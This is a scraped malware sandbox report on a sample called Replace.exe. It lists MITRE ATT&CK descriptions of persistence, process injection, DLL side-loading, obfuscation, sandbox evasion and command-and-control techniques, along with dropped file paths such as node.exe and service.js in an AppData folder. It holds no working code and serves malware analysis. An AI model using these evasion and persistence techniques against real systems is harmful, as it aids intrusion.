Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Replace.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Image-Line\FL Studio 20\FL64.exe

C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\vp

C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

C:\Users\user\AppData\Local\Temp\nsb75D2.tmp

C:\Users\user\AppData\Local\Temp\nsq5A5B.tmp

C:\Users\user\AppData\Local\Temp\nsr383C.tmp

C:\Users\user\AppData\Local\Temp\wnsA071.tmp

C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp

C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp

C:\Users\user\AppData\Local\Temp\wsc86FC.tmp

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Windows Analysis Report
Replace.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre